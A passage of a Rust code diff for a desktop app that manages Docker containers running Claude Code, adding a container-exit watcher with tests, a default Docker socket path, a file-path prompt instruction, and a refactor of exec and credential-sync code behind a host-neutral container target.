+/// Start the watcher for the life of the app.
+pub fn spawn(
+    app: AppHandle,
+    store: Arc<ProjectsStore>,
+    cancel: watch::Receiver<bool>,
+) -> tauri::async_runtime::JoinHandle<()> {
+    tauri::async_runtime::spawn(async move {
+        run(store, cancel, |p, reason| {
+            log::warn!(
+                "Project '{}' ({}): its container stopped without the app asking ({:?}) — marking Stopped",
+                p.name,
+                p.id,
+                reason
+            );
+            let _ = app.emit(CONTAINER_EXITED_EVENT, ContainerExited { project: p, reason });
+        })
+        .await;
+    })
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn retries_back_off_to_a_minute_and_stay_there() {
+        let secs: Vec<u64> = (1..=7).map(|n| retry_delay(n).as_secs()).collect();
+        assert_eq!(secs, vec![5, 10, 20, 40, 60, 60, 60]);
+        assert_eq!(retry_delay(0), RETRY_MIN);
+        assert_eq!(retry_delay(u32::MAX), RETRY_MAX);
+    }
+
+    #[test]
+    fn the_event_says_why_so_the_ui_can_tell_news_from_housekeeping() {
+        let p = Project::new("demo".to_string(), Vec::new());
+        let v = serde_json::to_value(ContainerExited { project: &p, reason: ExitReason::Exited }).unwrap();
+        assert_eq!(v["reason"], "exited");
+        assert_eq!(v["project"]["name"], "demo");
+        let v = serde_json::to_value(ContainerExited { project: &p, reason: ExitReason::FoundStopped })
+            .unwrap();
+        assert_eq!(v["reason"], "found_stopped");
+        assert_eq!(CONTAINER_EXITED_EVENT, "project-container-exited");
+    }
+
+    /// The shutdown path: a host call that never answers (a wedged daemon)
+    /// must give way to cancellation at once, not hold teardown.
+    #[tokio::test]
+    async fn a_hung_docker_call_yields_to_cancellation() {
+        let (tx, mut rx) = watch::channel(false);
+        let canceller = tokio::spawn(async move {
+            tokio::time::sleep(Duration::from_millis(20)).await;
+            let _ = tx.send(true);
+        });
+        let hung = std::future::pending::<()>();
+        let out = tokio::time::timeout(Duration::from_secs(2), unless_cancelled(&mut rx, hung)).await;
+        assert_eq!(out.expect("returned promptly"), None);
+        canceller.await.unwrap();
+        // Already cancelled: it does not even start the call.
+        assert_eq!(unless_cancelled(&mut rx, async { 1 }).await, None);
+    }
+
+    /// End to end against a real daemon: a Running project whose container is
+    /// killed from outside the app is flipped to Stopped and reported as a live
+    /// exit; one found already stopped on the first look is reported as such;
+    /// and one whose container is still up is left alone.
+    #[tokio::test]
+    #[ignore = "needs a Docker daemon; creates and removes throwaway containers"]
+    async fn a_container_killed_outside_the_app_flips_its_project_to_stopped() {
+        use std::process::Command;
+        fn docker_cli(args: &[&str]) -> String {
+            let out = Command::new("docker").args(args).output().expect("docker cli");
+            assert!(out.status.success(), "docker {:?}: {}", args, String::from_utf8_lossy(&out.stderr));
+            String::from_utf8_lossy(&out.stdout).trim().to_string()
+        }
+        let tag = uuid::Uuid::new_v4().simple().to_string();
+        let doomed = docker_cli(&["run", "-d", "--name", &format!("tc-watch-a-{tag}"), "alpine:3", "sleep", "300"]);
+        let alive = docker_cli(&["run", "-d", "--name", &format!("tc-watch-b-{tag}"), "alpine:3", "sleep", "300"]);
+        let already = docker_cli(&["create", "--name", &format!("tc-watch-c-{tag}"), "alpine:3", "true"]);
+
+        let dir = std::env::temp_dir().join(format!("triple-c-watch-{tag}"));
+        std::fs::create_dir_all(&dir).unwrap();
+        let running = |name: &str, cid: &str| {
+            let mut p = Project::new(name.to_string(), Vec::new());
+            p.container_id = Some(cid.to_string());
+            p.status = ProjectStatus::Running;
+            p
+        };
+        let (a, b, c) = (running("a", &doomed), running("b", &alive), running("c", &already));
+        let (a_id, b_id, c_id) = (a.id.clone(), b.id.clone(), c.id.clone());
+        let store = Arc::new(ProjectsStore::over_file_for_test(dir.join("projects.json"), vec![a, b, c]));
+
+        let (cancel_tx, cancel_rx) = watch::channel(false);
+        let (seen_tx, mut seen_rx) = tokio::sync::mpsc::unbounded_channel::<(String, ExitReason)>();
+        let watcher = tokio::spawn(run(store.clone(), cancel_rx, move |p, why| {
+            let _ = seen_tx.send((p.id.clone(), why));
+        }));
+        let first = tokio::time::timeout(Duration::from_secs(10), seen_rx.recv()).await;
+        // Subscribed by now (the sweep precedes it, and `since` overlaps);
+        // kill from "outside".
+        docker_cli(&["kill", &doomed]);
+        let second = tokio::time::timeout(Duration::from_secs(15), seen_rx.recv()).await;
+
+        let t0 = Instant::now();
+        let _ = cancel_tx.send(true);
+        let _ = watcher.await;
+        let shutdown = t0.elapsed();
+        let statuses: Vec<ProjectStatus> =
+            [&a_id, &b_id, &c_id].iter().map(|id| store.get(id).unwrap().status).collect();
+        docker_cli(&["rm", "-f", &doomed, &alive, &already]);
+        std::fs::remove_dir_all(&dir).ok();
+
+        assert_eq!(first.expect("sweep within 10s"), Some((c_id, ExitReason::FoundStopped)));
+        assert_eq!(second.expect("die within 15s"), Some((a_id, ExitReason::Exited)));
+        assert_eq!(statuses, vec![ProjectStatus::Stopped, ProjectStatus::Running, ProjectStatus::Stopped]);
+        assert!(shutdown < Duration::from_secs(1), "stopped watching in {shutdown:?}");
+    }
+}

app/src-tauri/src/docker/client.rs

@@ -26,3 +26,13 @@ pub async fn check_docker_available() -> Result<bool, String> {
         }
     }
 }
+
+/// The daemon socket a project container gets bind-mounted when Docker access
+/// is enabled and no path is configured.
+pub fn default_docker_socket() -> String {
+    if cfg!(target_os = "windows") {
+        "//./pipe/docker_engine".to_string()
+    } else {
+        "/var/run/docker.sock".to_string()
+    }
+}

app/src-tauri/src/docker/container.rs

@@ -9,6 +9,7 @@ use sha2::{Sha256, Digest};
 
 use super::ca_certs;
 use super::client::get_docker;
+use crate::models::AppSettings;
 use crate::models::{Backend, BedrockAuthMethod, ClaudeCodeSettings, ContainerInfo, EnvVar, GlobalAwsSettings, GlobalLlamaCppSettings, GlobalOllamaSettings, GlobalOpenAiCompatibleSettings, PortMapping, Project, ProjectPath};
 
 const SCHEDULER_INSTRUCTIONS: &str = r#"## Scheduled Tasks
@@ -124,6 +125,16 @@ Do not change `sandbox.enabled` in `settings.json` — Triple-C overwrites it
 on every container start. To turn sandbox off, stop the container in
 Triple-C, flip the "Sandbox mode" switch off, then start the container."#;
 
+/// The Triple-C terminal opens a printed path on click (Shift/Option+click while
+/// a program holds the mouse — `opensOnClick` in TerminalView) by looking for it
+/// in the project, then `~` and `/tmp`. A relative name for a file elsewhere
+/// (Claude Code's scratchpad under `/tmp/claude-<uid>/...` above all) cannot
+/// be found, so ask for the whole path. Part of the instructions fingerprint,
+/// so adding or changing it recreates each container once on its next start.
+const FILE_LINK_INSTRUCTIONS: &str = r#"## Referring to files
+
+The user can click a file path in this terminal to open it in a viewer (while a program holds the mouse: Shift+click, or Option+click on macOS). Paths relative to the project work. When you mention a file outside the project (for example in `/tmp`, including your scratchpad directory, or under `~`), print its full absolute path, not a shortened or relative one, so it can be opened."#;
+
 /// Build the full CLAUDE_INSTRUCTIONS value by merging global + project
 /// instructions, appending port mapping docs, and appending scheduler docs.
 /// Used by both create_container() and container_needs_recreation() to ensure
@@ -163,6 +174,11 @@ fn build_claude_instructions(
         None => SCHEDULER_INSTRUCTIONS.to_string(),
     });
 
+    combined = Some(match combined {
+        Some(existing) => format!("{}\n\n{}", existing, FILE_LINK_INSTRUCTIONS),
+        None => FILE_LINK_INSTRUCTIONS.to_string(),
+    });
+
     if sandbox_enabled {
         combined = Some(match combined {
             Some(existing) => format!("{}\n\n{}", existing, SANDBOX_INSTRUCTIONS),
@@ -2000,7 +2016,7 @@ pub const CONFIG_VOLUME_PREFIX: &str = "triple-c-claude-config-";
 /// `aws_config_path` is configured), since the entrypoint already refreshes
 /// `~/.aws` from the host on every start in that case.
 pub async fn sync_bedrock_credentials(
-    container_id: &str,
+    target: &crate::host::ContainerTarget,
     project: &Project,
 ) -> Result<(), String> {
     let static_bedrock = if project.backend == Backend::Bedrock {
@@ -2023,10 +2039,10 @@ pub async fn sync_bedrock_credentials(
             let script = r#"if [ ! -d /tmp/.host-aws ]; then rm -f "$HOME/.aws/credentials"; fi"#;
             let cmd = vec!["sh".to_string(), "-c".to_string(), script.to_string()];
             let env = vec!["HOME=/home/claude".to_string()];
-            if let Err(e) = crate::docker::exec::exec_oneshot_env(container_id, cmd, env).await {
+            if let Err(e) = target.exec_oneshot_env(cmd, env).await {
                 log::warn!(
                     "Failed to clear stale AWS credentials in container {}: {}",
-                    container_id,
+                    target.id(),
                     e
                 );
             }
@@ -2078,7 +2094,7 @@ chmod 600 "$HOME/.aws/credentials""#;
 
     let cmd = vec!["sh".to_string(), "-c".to_string(), script.to_string()];
     let (output, exit_code) =
-        crate::docker::exec::exec_oneshot_env_status(container_id, cmd, env)
+        target.exec_oneshot_env_status(cmd, env)
             .await
             .map_err(|e| format!("Failed to write AWS credentials into container: {}", e))?;
     if exit_code != 0 {
@@ -2089,7 +2105,7 @@ chmod 600 "$HOME/.aws/credentials""#;
         ));
     }
 
-    log::info!("Wrote Bedrock static credentials into container {}", container_id);
+    log::info!("Wrote Bedrock static credentials into container {}", target.id());
     Ok(())
 }
 
@@ -4128,6 +4144,49 @@ pub async fn is_container_running(container_id: &str) -> Result<bool, String> {
 }
 
 
+
+/// Create the project's container, threading every global setting through.
+///
+/// Exists so that the ordinary create paths (`host::lifecycle`) and base-image migration
+/// cannot drift apart — a container created by a migration must be
+/// indistinguishable from one created by a normal start, or the next
+/// `container_needs_recreation` would immediately throw it away.
+///
+/// `create_image` is what to create *from* (the snapshot or the base);
+/// `base_image_name` is the configured base, which `create_container` needs in
+/// order to tell those two apart when it stamps the lineage labels.
+pub async fn create_container_for_project(
+    project: &Project,
+    settings: &AppSettings,
+    docker_socket: &str,
+    aws_config_path: Option<&str>,
+    create_image: &str,
+    base_image_name: &str,
+    extras: CreateExtras<'_>,
+) -> Result<String, String> {
+    create_container(
+        project,
+        docker_socket,
+        create_image,
+        base_image_name,
+        extras,
+        aws_config_path,
+        &settings.global_aws,
+        &settings.global_ollama,
+        &settings.global_llamacpp,
+        &settings.global_openai_compatible,
+        settings.global_claude_instructions.as_deref(),
+        &settings.global_custom_env_vars,
+        settings.timezone.as_deref(),
+        settings.global_claude_code_settings.as_ref(),
+        settings.default_ssh_key_path.as_deref(),
+        settings.ca_cert_path.as_deref(),
+        settings.default_git_user_name.as_deref(),
+        settings.default_git_user_email.as_deref(),
+    )
+    .await
+}
+
 #[cfg(test)]
 mod tests {
     use super::*;
@@ -4137,6 +4196,31 @@ mod tests {
     const HAIKU: &str = ANTHROPIC_DEFAULT_HAIKU_MODEL;
     const FABLE: &str = ANTHROPIC_DEFAULT_FABLE_MODEL;
 
+    /// The terminal can only open a file it can find: a bare name is looked
+    /// for in the project, home and /tmp, but a long scratchpad path printed
+    /// as `scratchpad/notes.md` is nowhere. Every container gets the ask to
+    /// print the full path, whatever else is configured.
+    #[test]
+    fn every_container_is_asked_to_print_full_paths_for_files_outside_the_project() {
+        for (global, project, sandbox) in [(None, None, false), (Some("g"), Some("p"), true)] {
+            let s = build_claude_instructions(global, project, &[], false, sandbox).unwrap();
+            assert!(s.contains(FILE_LINK_INSTRUCTIONS), "{:?}", (global, project, sandbox));
+        }
+        assert!(FILE_LINK_INSTRUCTIONS.contains("full absolute path"));
+        assert!(FILE_LINK_INSTRUCTIONS.contains("/tmp"));
+    }
+
+    /// The gesture is TerminalView's `opensOnClick`: a plain click, unless a
+    /// program holds the mouse — then xterm's force-selection modifier, which
+    /// is Shift except on macOS, where it is Option. Naming only Shift sent Mac
+    /// users to a key that does nothing.
+    #[test]
+    fn the_file_link_instructions_name_the_gesture_for_every_platform() {
+        assert!(FILE_LINK_INSTRUCTIONS.contains("can click a file path"));
+        assert!(FILE_LINK_INSTRUCTIONS.contains("Shift+click"));
+        assert!(FILE_LINK_INSTRUCTIONS.contains("Option+click on macOS"));
+    }
+
     fn aliases(model: Option<&str>, haiku: Option<&str>) -> Vec<(&'static str, String)> {
         compute_model_aliases(model, haiku)
     }

app/src-tauri/src/docker/events.rs

@@ -0,0 +1,114 @@
+//! The Docker half of `container_watch`: reachability, the daemon's container
+//! `die` event stream, and the "has it positively exited" check. Everything
+//! about *what to do* with a death (confirm, compare-and-set the store, tell
+//! the frontend, back off) is host-neutral and stays in `container_watch.rs`,
+//! which reaches these through `host::watch`.
+
+use std::collections::HashMap;
+use std::pin::Pin;
+
+use bollard::errors::Error as DockerError;
+use bollard::models::{EventMessage, EventMessageTypeEnum};
+use bollard::system::EventsOptions;
+use futures_util::{Stream, StreamExt};
+
+use super::client::get_docker;
+
+/// Whether the daemon answers at all.
+pub async fn ping() -> bool {
+    match get_docker() {
+        Ok(docker) => docker.ping().await.is_ok(),
+        Err(_) => false,
+    }
+}
+
+/// The container id a Docker event reports as having died, if it is one.
+pub(crate) fn died_container(msg: &EventMessage) -> Option<&str> {
+    if msg.typ != Some(EventMessageTypeEnum::CONTAINER) || msg.action.as_deref() != Some("die") {
+        return None;
+    }
+    msg.actor.as_ref()?.id.as_deref().filter(|id| !id.is_empty())
+}
+
+fn die_filter() -> HashMap<String, Vec<String>> {
+    HashMap::from([
+        ("type".to_string(), vec!["container".to_string()]),
+        ("event".to_string(), vec!["die".to_string()]),
+    ])
+}
+
+/// Container ids as Docker reports them dying, replayed from `since` (unix
+/// seconds). Filtered daemon-side to container `die` events, so an idle daemon
+/// costs nothing. Anything else that comes through is dropped here. An `Err`
+/// item, or the stream ending, means the connection is gone.
+pub fn container_deaths(since: i64) -> Pin<Box<dyn Stream<Item = Result<String, String>> + Send>> {
+    let docker = match get_docker() {
+        Ok(d) => d,
+        Err(e) => return Box::pin(futures_util::stream::once(async move { Err(e) })),
+    };
+    let events = docker.events(Some(EventsOptions::<String> {
+        since: Some(since.to_string()),
+        until: None,
+        filters: die_filter(),
+    }));
+    Box::pin(events.filter_map(|item| async move {
+        match item {
+            Ok(msg) => died_container(&msg).map(|id| Ok(id.to_string())),
+            Err(e) => Some(Err(e.to_string())),
+        }
+    }))
+}
+
+/// `true` only when Docker positively says the container is not running: it
+/// inspects as stopped, or it no longer exists. Any other failure is "don't
+/// know" — `is_container_running` maps every error to `false`, which is right
+/// for its callers and wrong for the watcher, where it would mark every project
+/// Stopped the moment the daemon hiccups.
+pub async fn has_exited(container_id: &str) -> bool {
+    let Ok(docker) = get_docker() else { return false };
+    match docker.inspect_container(container_id, None).await {
+        Ok(info) => !info.state.and_then(|s| s.running).unwrap_or(false),
+        Err(DockerError::DockerResponseServerError { status_code: 404, .. }) => true,
+        Err(_) => false,
+    }
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use bollard::models::EventActor;
+
+    fn event(typ: EventMessageTypeEnum, action: &str, id: Option<&str>) -> EventMessage {
+        EventMessage {
+            typ: Some(typ),
+            action: Some(action.to_string()),
+            actor: Some(EventActor { id: id.map(str::to_string), attributes: None }),
+            ..Default::default()
+        }
+    }
+
+    #[test]
+    fn only_a_container_die_names_a_container() {
+        let die = event(EventMessageTypeEnum::CONTAINER, "die", Some("abc"));
+        assert_eq!(died_container(&die), Some("abc"));
+
+        for (typ, action, id) in [
+            (EventMessageTypeEnum::CONTAINER, "stop", Some("abc")),
+            (EventMessageTypeEnum::CONTAINER, "start", Some("abc")),
+            (EventMessageTypeEnum::CONTAINER, "exec_die", Some("abc")),
+            (EventMessageTypeEnum::NETWORK, "die", Some("abc")),
+            (EventMessageTypeEnum::CONTAINER, "die", None),
+            (EventMessageTypeEnum::CONTAINER, "die", Some("")),
+        ] {
+            assert_eq!(died_container(&event(typ, action, id)), None, "{typ:?} {action} {id:?}");
+        }
+    }
+
+    #[test]
+    fn the_subscription_is_filtered_to_container_deaths_daemon_side() {
+        let f = die_filter();
+        assert_eq!(f.get("type"), Some(&vec!["container".to_string()]));
+        assert_eq!(f.get("event"), Some(&vec!["die".to_string()]));
+        assert_eq!(f.len(), 2);
+    }
+}

app/src-tauri/src/docker/exec.rs

@@ -1,58 +1,44 @@
 use bollard::container::{LogOutput, UploadToContainerOptions};
 use bollard::exec::{CreateExecOptions, ResizeExecOptions, StartExecResults};
-use futures_util::{Stream, StreamExt};
-use std::collections::HashMap;
-use std::pin::Pin;
-use std::sync::Arc;
-use tokio::io::{AsyncWrite, AsyncWriteExt};
-use tokio::sync::{mpsc, Mutex};
+use futures_util::StreamExt;
 
 use super::client::get_docker;
+use crate::host::{ExecChunk, ExecSpec};
 
-/// A `docker exec` that has been created and started with stdin/stdout/stderr
-/// attached — the raw duplex halves, before any policy about what to do with
-/// them.
-///
-/// This is the single place in the codebase that knows how to open an attached
-/// exec. Both consumers are built on it:
-///   * [`ExecSessionManager`] — interactive terminals and the audio bridge,
-///     which pump bytes through mpsc channels and a callback.
-///   * `auth_bridge` — per-connection `socat` tunnels, which pump bytes
-///     straight between a host TCP socket and these halves.
-///
-/// With `tty = false` the output stream is demultiplexed by Docker, so the
-/// consumer can tell [`LogOutput::StdOut`] from [`LogOutput::StdErr`]. That
-/// distinction matters for the auth bridge: `socat`'s diagnostics must not be
-/// spliced into the proxied byte stream.
-pub struct AttachedExec {
-    pub exec_id: String,
-    pub output: Pin<Box<dyn Stream<Item = Result<LogOutput, bollard::errors::Error>> + Send>>,
-    pub input: Pin<Box<dyn AsyncWrite + Send>>,
-}
+// `AttachedExec` lives in `host` now (host-neutral output chunks); this
+// module's job is to produce one from Docker. Its consumers are
+// `host::sessions::ExecSessionManager` (terminals, audio bridge) and the auth
+// bridge's per-connection `socat` tunnels, both through `host::ContainerTarget`.
+// With `tty = false` Docker demultiplexes stdout from stderr, which the auth
+// bridge relies on: `socat`'s diagnostics must not be spliced into the proxied
+// byte stream.
+pub use crate::host::AttachedExec;
 
-/// Create and start an exec with stdin + stdout + stderr attached, returning the
-/// raw duplex halves. Runs as `claude` in `/workspace`, like every other exec
-/// this app opens.
-pub async fn create_attached_exec(
-    container_id: &str,
-    cmd: Vec<String>,
-    tty: bool,
-) -> Result<AttachedExec, String> {
-    create_attached_exec_as(container_id, cmd, tty, "claude", "/workspace").await
-}
-
-/// [`create_attached_exec`] with the user and working directory spelled out.
+/// An attached exec with the user and working directory spelled out.
 ///
-/// Only base-image migration needs this: replaying `apt` and unpacking a
-/// payload tar at `/` have to run as **root**, and every other caller wants the
-/// `claude` / `/workspace` defaults that [`create_attached_exec`] supplies. It
-/// stays the single place an attached exec is opened.
+/// Only base-image migration calls this directly: replaying `apt` and unpacking
+/// a payload tar at `/` have to run as **root**. Everything else goes through
+/// `host::ContainerTarget::attach`.
 pub async fn create_attached_exec_as(
     container_id: &str,
     cmd: Vec<String>,
     tty: bool,
     user: &str,
     working_dir: &str,
+) -> Result<AttachedExec, String> {
+    let spec = ExecSpec::new(cmd)
+        .tty(tty)
+        .user(user)
+        .working_dir(Some(working_dir));
+    create_attached_exec_spec(container_id, &spec).await
+}
+
+/// The single place an attached exec is opened on Docker. Everything else —
+/// [`create_attached_exec_as`] and `host::ContainerTarget::attach` — is a thin
+/// wrapper over this.
+pub async fn create_attached_exec_spec(
+    container_id: &str,
+    spec: &ExecSpec,
 ) -> Result<AttachedExec, String> {
     let docker = get_docker()?;
 
@@ -60,13 +46,14 @@ pub async fn create_attached_exec_as(
         .create_exec(
             container_id,
             CreateExecOptions {
-                attach_stdin: Some(true),
+                attach_stdin: Some(spec.attach_stdin),
                 attach_stdout: Some(true),
                 attach_stderr: Some(true),
-                tty: Some(tty),
-                cmd: Some(cmd),
-                user: Some(user.to_string()),
-                working_dir: Some(working_dir.to_string()),
+                tty: Some(spec.tty),
+                cmd: Some(spec.cmd.clone()),
+                env: if spec.env.is_empty() { None } else { Some(spec.env.clone()) },
+                user: Some(spec.user.clone()),
+                working_dir: spec.working_dir.clone(),
                 ..Default::default()
             },
         )
@@ -82,244 +69,87 @@ pub async fn create_attached_exec_as(
     {
         StartExecResults::Attached { output, input } => Ok(AttachedExec {
             exec_id,
-            output,
+            output: Box::pin(output.map(|r| {
+                r.map(log_output_to_chunk)
+                    .map_err(|e| e.to_string())
+            })),
             input,
         }),
         StartExecResults::Detached => Err("Exec started in detached mode".to_string()),
     }
 }
 
-pub struct ExecSession {
-    pub exec_id: String,
-    pub container_id: String,
-    pub input_tx: mpsc::UnboundedSender<Vec<u8>>,
-    shutdown_tx: mpsc::Sender<()>,
-}
-
-impl ExecSession {
-    pub async fn send_input(&self, data: Vec<u8>) -> Result<(), String> {
-        self.input_tx
-            .send(data)
-            .map_err(|e| format!("Failed to send input: {}", e))
-    }
-
-    #[allow(dead_code)]
-    pub async fn resize(&self, cols: u16, rows: u16) -> Result<(), String> {
-        let docker = get_docker()?;
-        docker
-            .resize_exec(
-                &self.exec_id,
-                ResizeExecOptions {
-                    width: cols,
-                    height: rows,
-                },
-            )
-            .await
-            .map_err(|e| format!("Failed to resize exec: {}", e))
-    }
-
-    pub fn shutdown(&self) {
-        let _ = self.shutdown_tx.try_send(());
+/// bollard's `LogOutput` → the host-neutral [`ExecChunk`]. `Console` is what
+/// Docker calls a TTY stream; it has no stderr, so it is stdout.
+pub fn log_output_to_chunk(o: LogOutput) -> ExecChunk {
+    match o {
+        LogOutput::StdOut { message } | LogOutput::Console { message } => ExecChunk::StdOut(message),
+        LogOutput::StdErr { message } => ExecChunk::StdErr(message),
+        LogOutput::StdIn { message } => ExecChunk::Other(message),
     }
 }
 
-pub struct ExecSessionManager {
-    sessions: Arc<Mutex<HashMap<String, ExecSession>>>,
+/// Start a command with nothing attached and return its exec id without
+/// waiting for it.
+pub async fn exec_detached(container_id: &str, spec: &ExecSpec) -> Result<String, String> {
+    let docker = get_docker()?;
+    let exec = docker
+        .create_exec(
+            container_id,
+            CreateExecOptions {
+                attach_stdout: Some(false),
+                attach_stderr: Some(false),
+                tty: Some(spec.tty),
+                cmd: Some(spec.cmd.clone()),
+                env: if spec.env.is_empty() { None } else { Some(spec.env.clone()) },
+                user: Some(spec.user.clone()),
+                working_dir: spec.working_dir.clone(),
+                ..Default::default()
+            },
+        )
+        .await
+        .map_err(|e| format!("Failed to create exec: {}", e))?;
+    docker
+        .start_exec(
+            &exec.id,
+            Some(bollard::exec::StartExecOptions {
+                detach: true,
+                ..Default::default()
+            }),
+        )
+        .await
+        .map_err(|e| format!("Failed to start exec: {}", e))?;
+    Ok(exec.id)
 }
 
-impl ExecSessionManager {
-    pub fn new() -> Self {
-        Self {
-            sessions: Arc::new(Mutex::new(HashMap::new())),
-        }
-    }
-
-    pub async fn create_session<F>(
-        &self,
-        container_id: &str,
-        session_id: &str,
-        cmd: Vec<String>,
-        on_output: F,
-        on_exit: Box<dyn FnOnce() + Send>,
-    ) -> Result<(), String>
-    where
-        F: Fn(Vec<u8>) + Send + 'static,
-    {
-        self.create_session_with_tty(container_id, session_id, cmd, true, on_output, on_exit)
-            .await
-    }
-
-    pub async fn create_session_with_tty<F>(
-        &self,
-        container_id: &str,
-        session_id: &str,
-        cmd: Vec<String>,
-        tty: bool,
-        on_output: F,
-        on_exit: Box<dyn FnOnce() + Send>,
-    ) -> Result<(), String>
-    where
-        F: Fn(Vec<u8>) + Send + 'static,
-    {
-        let AttachedExec {
+pub async fn resize_exec(exec_id: &str, cols: u16, rows: u16) -> Result<(), String> {
+    let docker = get_docker()?;
+    docker
+        .resize_exec(
             exec_id,
-            mut output,
-            mut input,
-        } = create_attached_exec(container_id, cmd, tty).await?;
+            ResizeExecOptions {
+                width: cols,
+                height: rows,
+            },
+        )
+        .await
+        .map_err(|e| format!("Failed to resize exec: {}", e))
+}
 
-        let (input_tx, mut input_rx) = mpsc::unbounded_channel::<Vec<u8>>();
-        let (shutdown_tx, mut shutdown_rx) = mpsc::channel::<()>(1);
-
-        // Output reader task
-        let session_id_clone = session_id.to_string();
-        let shutdown_tx_clone = shutdown_tx.clone();
-        tokio::spawn(async move {
-            loop {
-                tokio::select! {
-                    msg = output.next() => {
-                        match msg {
-                            Some(Ok(output)) => {
-                                on_output(output.into_bytes().to_vec());
-                            }
-                            Some(Err(e)) => {
-                                log::error!("Exec output error for {}: {}", session_id_clone, e);
-                                break;
-                            }
-                            None => {
-                                log::info!("Exec output stream ended for {}", session_id_clone);
-                                break;
-                            }
-                        }
-                    }
-                    _ = shutdown_rx.recv() => {
-                        log::info!("Exec session {} shutting down", session_id_clone);
-                        break;
-                    }
-                }
-            }
-            on_exit();
-            let _ = shutdown_tx_clone;
-        });
-
-        // Input writer task
-        tokio::spawn(async move {
-            while let Some(data) = input_rx.recv().await {
-                if let Err(e) = input.write_all(&data).await {
-                    log::error!("Failed to write to exec stdin: {}", e);
-                    break;
-                }
-            }
-        });
-
-        let session = ExecSession {
-            exec_id,
-            container_id: container_id.to_string(),
-            input_tx,
-            shutdown_tx,
-        };
-
-        self.sessions
-            .lock()
-            .await
-            .insert(session_id.to_string(), session);
-
-        Ok(())
-    }
-
-    pub async fn send_input(&self, session_id: &str, data: Vec<u8>) -> Result<(), String> {
-        let sessions = self.sessions.lock().await;
-        let session = sessions
-            .get(session_id)
-            .ok_or_else(|| format!("Session {} not found", session_id))?;
-        session.send_input(data).await
-    }
-
-    pub async fn resize(&self, session_id: &str, cols: u16, rows: u16) -> Result<(), String> {
-        // Clone the exec_id under the lock, then drop the lock before the
-        // async Docker API call to avoid holding the mutex across await.
-        let exec_id = {
-            let sessions = self.sessions.lock().await;
-            let session = sessions
-                .get(session_id)
-                .ok_or_else(|| format!("Session {} not found", session_id))?;
-            session.exec_id.clone()
-        };
-        let docker = get_docker()?;
-        docker
-            .resize_exec(
-                &exec_id,
-                ResizeExecOptions {
-                    width: cols,
-                    height: rows,
-                },
-            )
-            .await
-            .map_err(|e| format!("Failed to resize exec: {}", e))
-    }
-
-    pub async fn close_session(&self, session_id: &str) {
-        let mut sessions = self.sessions.lock().await;
-        if let Some(session) = sessions.remove(session_id) {
-            session.shutdown();
-        }
-    }
-
-    pub async fn close_sessions_for_container(&self, container_id: &str) {
-        let mut sessions = self.sessions.lock().await;
-        let ids_to_close: Vec<String> = sessions
-            .iter()
-            .filter(|(_, s)| s.container_id == container_id)
-            .map(|(id, _)| id.clone())
-            .collect();
-        for id in ids_to_close {
-            if let Some(session) = sessions.remove(&id) {
-                session.shutdown();
-            }
-        }
-    }
-
-    pub async fn close_all_sessions(&self) {
-        let mut sessions = self.sessions.lock().await;
-        for (_, session) in sessions.drain() {
-            session.shutdown();
-        }
-    }
-
-    pub async fn get_container_id(&self, session_id: &str) -> Result<String, String> {
-        let sessions = self.sessions.lock().await;
-        let session = sessions
-            .get(session_id)
-            .ok_or_else(|| format!("Session {} not found", session_id))?;
-        Ok(session.container_id.clone())
-    }
-
-    pub async fn write_file_to_container(
-        &self,
-        container_id: &str,
-        file_name: &str,
-        data: &[u8],
-    ) -> Result<String, String> {
-        let docker = get_docker()?;
-
-        // Owned by the container user, stamped now: a default tar header would
-        // land it as root:root/1970 and Claude Code could not rewrite it.
-        let (uid, gid) = container_user_ids(container_id).await;
-        let tar_buf = build_single_file_tar(file_name, data, 0o644, uid, gid, now_epoch_secs())?;
-
-        docker
-            .upload_to_container(
-                container_id,
-                Some(UploadToContainerOptions {
-                    path: "/tmp".to_string(),
-                    ..Default::default()
-                }),
-                tar_buf.into(),
-            )
-            .await
-            .map_err(|e| format!("Failed to upload file to container: {}", e))?;
-
-        Ok(format!("/tmp/{}", file_name))
-    }
+/// Docker's archive API: `path` as a tar stream. Errors are stringified so the
+/// stream is host-neutral.
+pub fn download_archive(container_id: &str, path: &str) -> crate::host::ArchiveStream {
+    let docker = match get_docker() {
+        Ok(d) => d,
+        Err(e) => return Box::pin(futures_util::stream::once(async move { Err(e) })),
+    };
+    let stream = docker.download_from_container(
+        container_id,
+        Some(bollard::container::DownloadFromContainerOptions {
+            path: path.to_string(),
+        }),
+    );
+    Box::pin(stream.map(|r| r.map_err(|e| e.to_string())))
 }
 
 /// Ceiling on one host file packed into a container upload.
@@ -376,31 +206,8 @@ pub async fn upload_host_file_with_ids(
     let mtime = now_epoch_secs();
 
     let tar_buf = tokio::task::spawn_blocking(move || -> Result<Vec<u8>, String> {
-        // The caller resolved this path (`resolve_host_read_path`); opening it
-        // is a second trip through the same directories, so the descriptor is
-        // checked against the path that was validated before its bytes are
-        // packed into anything. Two paths reach here: the terminal's drop
-        // target, and the Files pane's upload via `upload_host_file_with_ids`.
-        // Between them they are how host bytes enter a container.
-        let file = std::fs::File::open(&host_path)
-            .map_err(|e| format!("Failed to read {}: {}", host_path, e))?;
-        crate::commands::file_commands::verify_opened_path(
-            &file,
-            std::path::Path::new(&host_path),
-        )?;
-        let mut data = Vec::new();
-        std::io::Read::read_to_end(
-            &mut std::io::Read::take(file, MAX_DROP_BYTES.saturating_add(1)),
-            &mut data,
-        )
-        .map_err(|e| format!("Failed to read {}: {}", host_path, e))?;
-        if data.len() as u64 > MAX_DROP_BYTES {
-            return Err(format!(
-                "File too large to upload (limit {} MB)",
-                MAX_DROP_BYTES / (1024 * 1024)
-            ));
-        }
-        build_single_file_tar(&dest_for_blk, &data[..], 0o644, uid, gid, mtime)
+        let data = read_host_file_for_upload(&host_path)?;
+        build_single_file_tar(&dest_for_blk, &data[..], HOST_FILE_UPLOAD_MODE, uid, gid, mtime)
     })
     .await
     .map_err(|e| format!("Upload task panicked: {}", e))??;
@@ -421,20 +228,54 @@ pub async fn upload_host_file_with_ids(
     Ok(container_join(dest_dir, &dest_name))
 }
 
+/// The mode a host file lands with in the container, on every host.
+pub(crate) const HOST_FILE_UPLOAD_MODE: u32 = 0o644;
+
+/// Read a host file that is about to be copied into a container. Blocking:
+/// call it from `spawn_blocking`. Shared by every host's upload so the checks
+/// cannot drift apart.
+///
+/// The caller resolved this path (`resolve_host_read_path`); opening it is a
+/// second trip through the same directories, so the descriptor is checked
+/// against the path that was validated before its bytes are packed into
+/// anything. Two paths reach here: the terminal's drop target, and the Files
